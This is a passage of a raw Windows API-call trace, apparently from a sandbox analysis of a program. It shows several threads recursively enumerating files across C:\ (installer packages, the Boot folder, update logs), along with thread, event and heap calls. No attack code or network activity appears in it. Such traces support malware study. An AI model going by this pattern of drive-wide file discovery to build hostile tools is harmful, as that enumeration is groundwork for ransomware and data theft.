ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0046.910] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0046.910] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0046.910] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0046.910] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0046.910] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0046.911] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0046.911] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0046.911] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0046.911] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0046.911] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0046.911] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0046.911] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0046.911] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0046.911] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0046.911] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0046.912] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0046.912] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0046.912] FindNextFileW (in: hFindFile=0xf90c0, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0046.912] FindClose (in: hFindFile=0xf90c0 | out: hFindFile=0xf90c0) returned 1 [0046.912] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x3600a0 | out: hHeap=0x80000) returned 1 [0046.912] FindNextFileW (in: hFindFile=0xf9000, lpFindFileData=0x259fa28 | out: lpFindFileData=0x259fa28*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x259fc50, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0046.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x10cd30 [0046.913] FindNextFileW (in: hFindFile=0x10cd30, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0046.914] FindNextFileW (in: hFindFile=0x10cd30, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD", cAlternateFileName="")) returned 1 [0046.914] FindNextFileW (in: hFindFile=0x10cd30, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0046.914] FindNextFileW (in: hFindFile=0x10cd30, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0046.914] FindNextFileW (in: hFindFile=0x10cd30, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0046.914] FindNextFileW (in: hFindFile=0x10cd30, lpFindFileData=0x259f7a4 | out: lpFindFileData=0x259f7a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0046.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4d, cFileName=".", cAlternateFileName="")) returned 0x10caf0 [0047.123] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4d, cFileName="..", cAlternateFileName="")) returned 1 [0047.123] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x259f520 | out: lpFindFileData=0x259f520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x4d, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 Thread: id = 30 os_tid = 0xe0 [0046.462] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x38) returned 0x84ef8 [0046.462] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x18) returned 0x810a8 [0046.462] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2e8 [0046.462] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2ec [0046.462] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2f0 [0046.462] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x2f0068 [0046.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1083957, lpParameter=0x295f7a4, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0046.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1083957, lpParameter=0x295f7a4, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0046.464] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x300070 [0046.464] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x295f51c | out: lpFindFileData=0x295f51c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0xf9100 [0046.465] GetLastError () returned 0x0 [0046.465] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x214) returned 0x88928 [0046.465] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0046.465] GetCurrentThreadId () returned 0xe0 [0046.465] SetLastError (dwErrCode=0x0) [0046.465] GetLastError () returned 0x0 [0046.465] SetLastError (dwErrCode=0x0) [0046.465] GetLastError () returned 0x0 [0046.465] SetLastError (dwErrCode=0x0) [0046.465] GetLastError () returned 0x0 [0046.465] SetLastError (dwErrCode=0x0) [0046.466] GetLastError () returned 0x0 [0046.466] SetLastError (dwErrCode=0x0) [0046.466] GetLastError () returned 0x0 [0046.466] SetLastError (dwErrCode=0x0) [0046.466] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x310078 [0046.466] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xf9500 [0046.691] FindNextFileW (in: hFindFile=0xf9500, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0046.691] FindNextFileW (in: hFindFile=0xf9500, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Logs", cAlternateFileName="")) returned 1 [0046.691] GetLastError () returned 0x0 [0046.691] SetLastError (dwErrCode=0x0) [0046.691] GetLastError () returned 0x0 [0046.691] SetLastError (dwErrCode=0x0) [0046.691] GetLastError () returned 0x0 [0046.691] SetLastError (dwErrCode=0x0) [0046.691] GetLastError () returned 0x0 [0046.691] SetLastError (dwErrCode=0x0) [0046.691] GetLastError () returned 0x0 [0046.691] SetLastError (dwErrCode=0x0) [0046.692] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x3600a0 [0046.692] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xf9540 [0046.693] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.693] FindNextFileW (in: hFindFile=0xf9540, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0046.693] GetLastError () returned 0x0 [0046.693] SetLastError (dwErrCode=0x0) [0046.693] GetLastError () returned 0x0 [0046.693] SetLastError (dwErrCode=0x0) [0046.693] GetLastError () returned 0x0 [0046.693] SetLastError (dwErrCode=0x0) [0046.693] GetLastError () returned 0x0 [0046.693] SetLastError (dwErrCode=0x0) [0046.693] GetLastError () returned 0x0 [0046.693] SetLastError (dwErrCode=0x0) [0046.693] GetLastError () returned 0x0 [0046.693] SetLastError (dwErrCode=0x0) [0046.694] GetLastError () returned 0x0 [0046.694] SetLastError (dwErrCode=0x0) [0046.694] GetLastError () returned 0x0 [0046.694] SetLastError (dwErrCode=0x0) [0046.694] GetLastError () returned 0x0 [0046.694] SetLastError (dwErrCode=0x0) [0046.694] GetLastError () returned 0x0 [0046.694] SetLastError (dwErrCode=0x0) [0046.694] GetLastError () returned 0x0 [0046.694] SetLastError (dwErrCode=0x0) [0046.694] GetLastError () returned 0x0 [0046.694] SetLastError (dwErrCode=0x0) [0046.694] GetLastError () returned 0x0 [0046.694] SetLastError (dwErrCode=0x0) [0046.694] GetLastError () returned 0x0 [0046.694] SetLastError (dwErrCode=0x0) [0046.694] GetLastError () returned 0x0 [0046.694] SetLastError (dwErrCode=0x0) [0046.694] GetLastError () returned 0x0 [0046.694] SetLastError (dwErrCode=0x0) [0046.694] GetLastError () returned 0x0 [0046.694] SetLastError (dwErrCode=0x0) [0046.694] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.695] GetLastError () returned 0x0 [0046.695] SetLastError (dwErrCode=0x0) [0046.696] GetLastError () returned 0x0 [0046.696] SetLastError (dwErrCode=0x0) [0046.696] GetLastError () returned 0x0 [0046.696] SetLastError (dwErrCode=0x0) [0046.696] GetLastError () returned 0x0 [0046.696] SetLastError (dwErrCode=0x0) [0046.696] GetLastError () returned 0x0 [0046.696] SetLastError (dwErrCode=0x0) [0046.696] GetLastError () returned 0x0 [0046.696] SetLastError (dwErrCode=0x0) [0046.696] GetLastError () returned 0x0 [0046.696] SetLastError (dwErrCode=0x0) [0046.696] GetLastError () returned 0x0 [0046.696] SetLastError (dwErrCode=0x0) [0046.696] GetLastError () returned 0x0 [0046.696] SetLastError (dwErrCode=0x0) [0046.696] GetLastError () returned 0x0 [0046.696] SetLastError (dwErrCode=0x0) [0046.696] GetLastError () returned 0x0 [0046.696] SetLastError (dwErrCode=0x0) [0046.696] GetLastError () returned 0x0 [0046.696] 